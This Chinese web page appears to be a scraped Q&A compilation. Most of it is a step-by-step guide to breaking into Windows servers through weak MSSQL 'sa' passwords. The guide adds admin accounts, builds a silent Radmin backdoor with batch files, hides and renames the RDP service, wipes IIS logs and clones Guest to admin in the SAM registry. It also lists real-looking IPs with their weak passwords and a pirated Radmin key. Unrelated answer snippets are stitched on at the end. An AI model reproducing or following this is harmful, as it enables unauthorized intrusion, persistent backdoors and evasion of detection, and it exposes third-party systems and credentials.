得到服务器sa弱口令后怎么办?
我师傅就是在黑吧每天看他们主站更新的免费黑客动画学成入侵安全检测高手的我...的sa弱口令 拿到sa权限后入侵就会变的很间单 ...MSSQL入侵 主要针对系统...
工具:WINNTAutoAttack自动攻击器（扫漏洞）；SQLTOOLS（SA空口令连接器）；RAMDIN影子3.0中文版（远程控制程序）（RADMIN注册码:
08US9A95I+lKa9nbOLXqv0V8xqdDvKGcNcTpN2wV11iSqOCVuA
6A5KKZRHc5GVMIybWomK6rNwoj8mYy8LXRFi23）；SC.exe port.bat query.exe quser.exe（隐藏3389服务及 不让管理发现自己程序）；CleanIISLog.exe（小榕的擦PP程序）；3389.exe（开3389端口服务的）；psu.exe（使用被禁止的Guest帐户要用到的）；mstsc.exe（远程桌面连接程序）。
一.扫到SA弱口令(自动攻击器)
二.用SQLTOOLS连上去建一个用户
net start telnet
开telnet服务
net user mint mint /add
添加用户mint密码为
mint net localgroup administrators mint /add
将帐号mint升级为管理员
三.上传后门程序RAD.EXE(RADMIN服务端自解压程序)
制作RAD.EXE过程:
1、到Radmin安装目录下找到AdmDll.dll、 raddrv.dll和r_sever.exe；
2、在本地设置服务端（一定要生成）；
设置密码-->>设置连接端口(默认4489)-->>生成
3、导出注册表HKEY_LOCAL_MACHINE\\SYSTEM\\Radmin的键值为1.reg；
4、编写一个批处理，并命名为u.bat；
@echo offnet stop r_server
5、写第二个批处理，r.bat,内容为：
@echo off@Explorer.exe /
uninstall /silence@Explorer.exe /install /
silence@regedit /s 1.reg@echo off@Explorer.exe /uninstall /
silence@Explorer.exe /install /silence@regedit /
s 1.reg@net start r_server@del
rad.exe@del 1.reg@del r.bat@del u.bat
6、将AdmDLL.dll raddrv.dll Explorer.exe(r_sever.exe改名) u.bat r.bat压缩成Rad.RAR压缩包；
7、将Rad.rar制作成自解压文件；
选择Default.sfx的自释放模块-->>高级自释放选项
-->>常规
释放路径:%systemroot%\\system32
安装程序:释放后运行:r.bat 释放前运行u.bat
-->>摸式
缄默模式:全部隐藏 覆盖方式:覆盖所有文件
-->>确定-->>确定
生成完成。
四.用RADMIN客服端连接
上传文件到c:\\WINNT(XP是windows):
port.bat(如果是在XP下，这个要把里面的WINNT改为Windows)
query.exe quser.exe
SC.exe
CleanIISLog.exe.exe
3389.exe
psu.exe
最好再上传一个反弹后门RADMIN进入TELNET。
运行c:\\winnt\\3389.exe，重启肉鸡。
五.重启后用远程桌面远程器连上去
这里就有时会出现个问题。
使用3389登陆，发现登陆用户已满，不用怕，我们把他踢出去。
telnet对方ip，发现需要 NTLM 身份验证。我们在自己的电脑里建立一个帐号mint密码为mint身份为管理员。
找到c:\\winnt\\system32\\cmd.exe 建立一个快捷方式到桌面。修改cmd的快捷方式属性为允许其他身份登陆。然后运行桌面上的cmd.exe的快捷方式。输入帐号mint密码mint，telnet对方ip，直接可以登陆对方电脑了。
使用命令：
c:\\query user (查看对方目前终端登陆状况。)
运行命令：
c:\\logoff 1(踢出去一个管理者)
再用c:\\query user检查一便~~(这就是为什么不马上用1.bat了)
六.连上后..在cmd下运行
c:\\winnt\\log . 自己的IP .(擦PP)
c:\\winnet\\1.bat (删除覆盖查看当前在线用户文件)
七.打SA空口令补丁
程序-->>Microsoft SQL Server-->>查询分析器(有放大镜的)
-->>Windowst身位验证登陆
复制一下代码:SELMIS
if exists (select * from dbo.sysobjects where id
= object_id(N\’[dbo].[xp_cmdshell]\’)
and OBJECTPROPERTY(id, N\’IsExtendedProc\’)
= 1) exec sp_dropextendedproc N\’[dbo].[xp_cmdshell]\’GO
按F5(运行)，关了退出SQL Server再用SQL Server身位验证进一次，退出(这是为了不留下记录)。
八.改3389端口和服务名称
修改服务器端的端口设置，注册表有2个地方需要修改。
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\dpwd\\Tds\cp]，PortNumber值，默认是3389，选择10进制，修改成所希望的端口，比如1314。
第二个地方：
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp] PortNumber值，默认是3389，选择10进制，修改成所希望的端口，比如1314。
要重启系统才能用新端口连。(不急..改了他的服务名再重启系统吧)
导出3389服务的
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\TermService]
的键值为mm.reg文件。编辑mm.reg文件，替换TermService为Alerter(错误警告服务..别的服务也行) 。再把第十行的"Description"="(这里是服务说明，改为你所换的服务说明，这里改为通知所选用户和计算机有关系统管理级警报。)"第十一行的"DisplayName"="(这里是服务名称，改为你所换的服务名称，这里改为Alerter)。保存，再导入注册表(这里要先运行Services.msc(可在CMD下打这命令)服务管理器..把Alerter的服务先停止)。
再在CMD下
CD c:\\winnt\\
system32 copy termsrv.exe service.exe
(这里是复制termsrv.exe为Alerter服务文件名差不多的文件)
CD C:\\winnt sc \\\\127.0.0.1 config Alerter binpath=
c:\\winnt\\system32\\service.exe
(这里是从新定向Alerter服务文件.服务名一定要区分大小写A要大写)
九.注消后(注消比直接关要好些)用Radmin重启肉鸡
十.使用被禁用的帐户[Guest]登陆，删除自己开始建的帐号
1.使用psu.exe展开注册表到
HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users
用法：[psu -p regedit -i pid]
Pid 的值为在任务栏空白处点右键-->>任务管理器--->>进程中的winlogon.exe后面的数值就是PID数值。
如：psu –p regedit –i 157
将Guest克成管理员权限，克成管理员权限的方法:
找到HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\\Administrator的类型值。
在HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\下找到这个类型值在复制数值名为F的数值数剧覆盖相应的Guest的类型值(找的方法一样)。
导出Guest的配置(也就是导出HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Guest和他相应的类型值的数据)，然后删除Guest的配置。
2.查看计算机管理中帐户列表，刷新这时候会出现错误[找不到帐户](跳过这步也行)。
3.将Guest的配置(二个REG文件导进注册表)。
4.修改Guest帐户密码,命令行下禁用Guest帐户[一定是命令行下]。
net user Guest ****
[修改密码]net user Guest /
active:yesnet user Guest /active:no[命令行下禁用Guest]
5.实验被禁止的帐户Guest是否可用。
6.用Guest登陆后删除自己建的帐号。
net user mint /del
整个过程结束。
最后最好把RADMIN的服务也改了，多留个后门多条路，呵呵。整个过程全部结束，这机子就真正变成你的肉鸡了
当然是猜测数据库密码了，然后远程连接数据库，上传文件（木马、远控）执行dos命令运行该文件...
1433是监听什么端口?
答：最后要做的是指派该策略，只有指派后，它才起作用。方法是右击“安全”，在菜单中选择“所有任务”，选择“指派”。IP安全设置到此结束，你可根据自己的情况，设置相应的策略。设置完成后，你可再用X-Scan进行检查，发现问题再补上。通过以上的设置，你的Windows 2000服务器可以说是非常安全了。希望你...
怎么抓鸡“?
答：谁都不希望自己的电脑被他人控制，但是很多人的电脑是几乎不设防的，很容易被远程攻击者完全控制。你的电脑就因此成为别人砧板上的肉，别人想怎么吃就怎么吃，肉鸡(机)一名由此而来。通常情况下跟电脑网络连接的端口都存在有弱口令，这样就给黑客有可趁之机，通过工具扫描利用相应工具破解入侵这样你就成为...
SQL SERVER2000数据库,提示有木马攻击
答：你好，sql server 2005 的攻击方法:弱口令攻击、SQL注入攻击 SQL Server可以从Internet上访问并下载和安装软件。这些以及其它那些我们每天经常做的事情可能会为特洛伊木马提供安装的途径。看起来很奇怪，但是就服务器而言，感染上病毒是很容易的——特别是没有用保护终端用户系统那样的方式来保护它的时候。当...
怎样测试1433端口入侵?
答：首先运行Windows XP自带远程登录器mstsc.exe，填入对方的IP地址218.147.*.*，确定后在登录界面填上我刚创建的用户名hacker和密码12345，顺利地进入了对方的Windows 2000桌面。218.5.135.66 SQL-Server弱口令: "sa/1234"218.14.115.111 SQL-Server弱口令: "sa/[空口令]"218.12.38.52 SQL-Server...
服务器安全应该注意哪些方面
答：二、密码和证书 数据漏洞和其他攻击通常来源于不严格的认证、较弱的口令和密钥或者证书管理。企业应当权衡集中身份的便利性和使储存地点变成攻击者首要目标的风险性。使用服务器，建议采用多种形式的认证，例如：一次性密码、手机认证和智能卡保护。三、界面和API的入侵 IT团队使用界面和API来管理和与服务器...
怎么攻击电脑?
答：如果要是入侵对方的电脑 这个更麻烦 查到对方IP 然后还需要扫描对方电脑的弱口令 进行猜解等等 一般对方电脑如果开启1433、3389、135等这些高危端口 也是比较容易入侵的 不过我说的这两种是很麻烦的 还是建议你不要考虑这些了 问题四:怎么用CMD攻击个人电脑? 64132是端口号 搞小破坏方法不建议使用,如果想开个...
网络管理员账号怎么离线
答：ICMP nuke 攻击：Nuke 发送出目标操作系统无法处理的信息数据包，从而导致该系统瘫痪。ICMP 攻击的防范:在网络的关键之处使用防火墙对来源不明的有害数据进行过滤可以有效减轻大多数 ICMP 攻击。另外，你需要按照如下的方法对 ICMP 参数进行设置后就可以在服务与安全之间合理地保持平衡：支持 PING —允许向...
用瑞星防火墙可以有效防止扫描弱口令么
答：不仅是黑客，蠕虫病毒也常常利用弱口令让它们在局域网或广域网中畅快爬行，所以把系统管理员账号加一个强的密码是一个非常良好使用习惯。瑞星防火墙“漏洞扫描”功能会提示系统在每次登陆的时候会显示上一次登陆的用户的用户名，入侵者很可能会根据被显示出来的用户名获取登陆密码并且非法进入系统。并给出修复...
怎么才能成为电脑高手
答：·采用Web服务器监控与恢复系统 ·该系统提供对网站文件内容的实时监控,发现被改动后立即报警并自动恢复。 电子商务安全系统 ·典型的电子商务应用 ·电子商务中存在的安全问题 ·电子商务的安全解决方法 ·实时数据交换系统 典型电子商务应用 ·Internet--->防火墙--->Web服务器 · || | · || | · 内部网(...
sqlserver有哪些安全策略
答：在这种情形下，进行验证的典型方法是把一组SQL Server登录名称和密码嵌入到Web服务器上运行的程序，比如ASP页面或者CGI脚本;然后，由Web服务器负责验证用户，应用程序则使用它自己的 登录帐户(或者是系统管理员sa帐户，或者为了方便起见，使用Sysadmin服务器角色中的登录帐户)为用户访问数据。这种安排有几个...
